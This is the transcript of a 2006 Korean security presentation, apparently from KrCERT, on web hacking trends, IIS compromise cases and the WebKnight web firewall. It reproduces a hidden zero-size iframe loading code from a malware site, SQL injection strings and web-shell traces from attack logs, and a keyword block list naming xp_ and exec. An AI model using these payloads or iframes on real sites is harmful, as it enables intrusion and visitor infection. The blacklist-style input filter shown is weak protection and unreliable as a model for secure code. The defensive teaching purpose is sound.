슬라이드 1 - :: DBguide.net
Download
Report
Transcript 슬라이드 1 - :: DBguide.net
웹 해킹의 변화와 보안대책
2006. 4.
정현철
[email protected]
목차
웹 해킹의 변화
최근 웹 해킹 수법
IIS 웹서버 해킹 사례
IIS용 공개 웹 방화벽(WebKnight)
향후 홈페이지 해킹 전망
-2-
웹 해킹의 변화
이라크戰 3주년 '중동發 해킹주의보‘
이슬람 해킹그룹 "한국 사이트 공격“
이슬람 해커 '비상'..주요 국가기관 잇딴 해킹
정치적 목적(Hacktivism)
호기심/자기과시
금전적 목적
-3-
피해자인가? 가해자인가?
홈페이지 방문 고객 감염
금융사기에 악용
고객 DB 유출
프로그램 소스 유출
…
최근 해킹은
단순 피해로 끝나지 않고, 범죄수단으로 악용!!
-4-
최근 웹 해킹 수법
- 개인정보 낚는 피싱(Phishing)
피싱 공격 기법
유사 도메인 사용
유사 : http://www.us-bank.com
정상 : http://www.usbank.com
발신자 위조
스크립트를 이용한
주소창 위조
하이퍼링크 위조
-5-
최근 웹 해킹 수법
- 개인정보 낚는 피싱(Phishing)
피싱으로 인한 금융정보 유출
-6-
최근 웹 해킹 수법
- 개인정보 낚는 피싱(Phishing)
△△ 은행 위장 사이트를 통한 로그인정보 유출(’05. 8.)
△ △ 은행 도메인 주소와 유사 도메인 주소를 개설하여 고객 로그인 정보 유출 시도
-7-
최근 웹 해킹 수법
- 악성 CODE 은닉
<iframe
src="http://web2.xxx.xx.cn/~mseweb/jz.htm"
name="zhu" width="0" height="0"
frameborder="0"></iframe>
<embed
src="images/intro.swf" quality="high"
pluginspage="http://www.macromedia.com/go
Iframe
/getflashplayer" type="application/xInjection
shockwave-flash" width="780"
height="188"></embed></object></td>
MCFinder
Intermediate
Server Script
File
Injected in
HTTP 404
Error
Message
Mal. Code
Injection
Internet
Injected
Using Escape
Code
Sequence
Mal. Code
Download
Re-direction to Mal.
Code Site
Mal. Code
Detect and
Wipeout
-8-
KISA
Injected
using Java
Script Tag
최근 웹 해킹 수법
- 중국 해킹도구
용도: 스캔, SQL Injection, Cmd.exe 실행
용도: ASP, PHP 자동 주입도구
용도: 파일 업로드 도구
용도: 원격제어 도구
-9-
최근 웹 해킹 수법
- 중국 해킹 동영상
-10-
IIS 웹서버 해킹 사례
– 악성코드 경유지 사이트(SQL Injection)
IIS 웹 로그(공격 흔적)
2005-06-11 17:23:02 xxx.xxx.xxx.xxx - victim_IP 80 GET /announce/new_detail.asp id=529|27|80040e14|[Microsoft]
[ODBC_SQL_Server_Driver][SQL_Server] Unclosed_quotation_mark_before_the_character_string_. 500 Mozilla/4.0+
(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
2005-06-11 17:23:34 xxx.xxx.xxx.xxx - victim_IP 80 GET /announce/new_detail.asp id=529;DELETE%20bb;
Insert%20bb%20exec%20master..xp_dirtree%20C:\,1,1– 200 Microsoft+URL+Control+-+6.00.8862
Index.html 파일
<iframe src ="http://www.xxx.xx.xx/123/123/index.htm" name ="A" width="0" frameborder="0">
-11-
IIS 웹서버 해킹 사례
– 악성코드 경유지 사이트(SQL Injection)
library/secure.inc.asp
<%@ Language=VBScript %>
<%
Function addFilter(str)
Dim strSearch(12), strReplace(12), cnt, data
//필터링 문자열 – 사이트별로 커스터마이징 필요
strSearch(0)="'"
strSearch(1)=";"
strSearch(2)="#"
strSearch(3)="--"
strSearch(4)="select"
strSearch(5)="update"
strSearch(6)="insert"
strSearch(7)="delete"
strSearch(8)="union"
strSearch(9)="exec"
strSearch(10)="sp_"
strSearch(11)="xp_"
사용법
<%@ Language=VBScript %>
<!--#include file="library/secure.inc.asp"-->
<%
dim num,join_id,join_pin,url,point,updatesql
h_url = Request("h_url")
//인자의 입력값에 필터링 적용
join_id = addFilter(Request("join_id"))
join_pin = addFilter(Request("join_pin"))
//필터링 문자열 – 사이트별로 커스터마이징 필요
strReplace(0)="''"
strReplace(1)=";;"
strReplace(2)="#"
strReplace(3)=""
strReplace(4)=""
strReplace(5)=""
strReplace(6)=""
strReplace(7)=""
strReplace(8)=""
strReplace(9)=""
strReplace(10)=""
strReplace(11)=""
각 웹 공격별 보안 템플릿
보급 예정 : ’06. 6.
data = str
For cnt = 0 to 11
data = replace(data, LCASE(strSearch(cnt)), strReplace(cnt))
Next
addFilter = data
End Function
%>
-12-
IIS 웹서버 해킹 사례
– 악성코드 유포지 사이트(업로드 공격)
<해킹프로그램 업로드>
<웹 쉘 실행 및 악성코드 설치>
Svng.asa
34시간 동안 1천여명
악성코드(icyfox.js)에 접근
해킹 프로그램 업로드 및 실행 흔적
2005-08-01
2005-08-01
2005-08-01
2005-08-01
02:37:03
02:37:05
02:37:05
02:37:08
xxx.173.159.175
xxx.173.159.175
xxx.173.159.175
xxx.173.159.175
-
victim_IP
victim_IP
victim_IP
victim_IP
80
80
80
80
POST /xxx/xpds/data/svnge.asa - 302
GET /xxx/xpds/data/svnge.asa - 200
GET /xxx/xpds/data/svnge.asa Action=MainMenu 200
GET /xxx/xpds/data/svnge.asa Action=ShowFile 200
공격에 사용된 취약점
업로드되는 첨부파일 확장자 미 필터링
파일 업로드되는 경로 확인 가능
업로드되는 폴더에서 실행 권한 부여
-13-
IIS 웹서버 해킹 사례
– Zero-Day 공격에 악용
웹서버를 이용한 제로데이공격
메일 서버를 이용한 제로데이공격
※ 메일서버는 Open Relay 블랙리스트 등록되어 있었음
미국, 대만, 한국 등 전세계 정부기관 및 민간기업 대상 1만여명에게 발송
-14-
IIS용 공개 Web 방화벽(WebKnight)
WebKnight는 AQTRONIX사(http://www.aqtronix.com/)에서 개발한 IIS 웹 서버에
설치할 수 있는 공개용 웹 방화벽
특징
낮은 보유 비용(Total Cost of Ownership)
운영 중 업데이트 가능
- 성능상의 이유로 매 1분마다 이러한 변경을 탐지하여 적용한다.
SSL 보호(protection)
- ISAPI 형태로 IIS의 일부로 동작하므로 HTTPS 상에서도 모니터링 및 차단할 수 있다.
Logging
- 로깅 전용 모드로 운영할 경우 웹공격 탐지를 위한 IDS처럼 활용 가능하다.
웹기반 애플리케이션과의 호환성
- Frontpage Extensions, WebDAV, Flash 등과도 호환이 잘 이루어진다.
고려사항
안전한 웹 프로그래밍 vs 웹 방화벽
- 기본적으로 안전한 웹 프로그래밍이 우선
- 하지만, 이미 구축된 웹 사이트의 경우 수정이 쉽지 않아 웹 방화벽 도입 검토 필요
상용웹방화벽 vs 공개 웹방화벽
- 상용제품에 비해 기능, 설치/운용의 편의성, 향후 기술지원은 다소 부족함
- 하지만, 웹보안을 위한 SQL Injection 차단 등 기본적인 보안기능은 갖추고 있음
- 대부분의 해킹이 상용제품 구매 능력이 없는 중소기업에서 발생되고 있으며,
기본적인 보안조치가 부족하기 때문에 공개 웹 방화벽 도입 검토 필요
-15-
IIS용 공개 Web 방화벽(WebKnight)
주요 기능
Incident Response Handling
: 공격 발생시 WebKnight가 어떻게 행동할지를 결정(경고화면, 차단, 로그)
Logging
: 로깅 여부, 로그 시간대, 로그 항목(클라이언트 IP, 사용자 명 등) 등을 설정
Request Limits
: 컨텐츠 길이, URL 길이, 쿼리스트링 길이 등을 제한
URL Scanning
: URL Encoding 공격 차단, 상위 패스(..) 차단, URL 백슬래쉬(\) 차단 등
Mapped Path
: 로컬 파일시스템의 허용하는 경로 정의
Requested File
: 차단시킬 파일 목록과 차단․허용할 파일 확장자 정의
Methods
: 허용 또는 차단할 Method를 결정(예 : GET, HEAD, POST은 허용, DELETE, PUT 등은 차단)
Querystring
: 특정 query 스트링(xp_cmdshell, cmd.exe 등) 차단 등 설정
SQL Injection
: SQL Injection 공격에 이용되는 키워드 정의(‘ ; select insert xp_ 등)
Web Applications
: WebDAV, IISADMPWD 등 웹애플리케이션의 허용유무 결정
-16-
IIS용 공개 Web 방화벽(WebKnight)
2. ISAPI 필터로 동작
1. 설치(WebKnight.msi)
3. Rule 설정(config.exe)
-17-
IIS용 공개 Web 방화벽(WebKnight)
해당 웹서버가 SQL Injection 공격에
취약하여 공격툴에 의해 DB 접근이
가 능 하 고 DB 계 정 및 테 이 블 이
노출되고 있는 화면
공격 Tool
공격 Tool
해
킹
성
공
화
면
설
치
이
후
SQL Injection 공격 이외에도 취약한
CGI 공격, 디렉토리 traversal 공격
등 다양한 웹 공격에 대하여 차단 실시
참조 : www.krcert.or.kr 보안문서 ->기술문서 (TR2006003)
생
성
로
그
06:13:40 ; W3SVC31 ; OnPreprocHeaders ;
xxx.xxx.151.24 ; ; GET ; /west/newsvieww.asp ;
id=37'%20and%20user%2Bchar(124)=0%20and%20''=' ;
BLOCKED: possible SQL injection in querystring ;
HTTP/1.1 ;
ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNC
EJD
06:13:40 ; W3SVC31 ;
OnPreprocHeaders ;xxx.xxx.151.24 ; ; GET ;
/west/newsvieww.asp ;
id=37%25'%20and%20user%2Bchar(124)=0%20and%20'
%25'=' ; BLOCKED: possible SQL injection in querystring ;
HTTP/1.1 ;
ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNC
EJD
-18-
향후 홈페이지 해킹 전망
안전한 개인의 금융정보를 노린 홈페이지 해킹이 증가
- 게임정보 → 포털 정보 → 금융정보?
국내 은행이나 전자상거래 사이트를 위장한 피싱사고 증가
- '05년 국내 은행 사칭 사고 발생
Mysql, Oracle 등 다양한 종류의 DB를 대상으로 한 공격
- SQL Injection은 모든 DB에 적용
사회공학적인 방법을 이용한 개인 PC 감염 사례 증가
- 홈페이지 해킹 후 MS 플래시, MS 비주얼 스튜디오 등으로 위장하여 사용자를
속여 악성코드를 설치
-19-
감사합니다
http://www.krcert.or.kr
-20-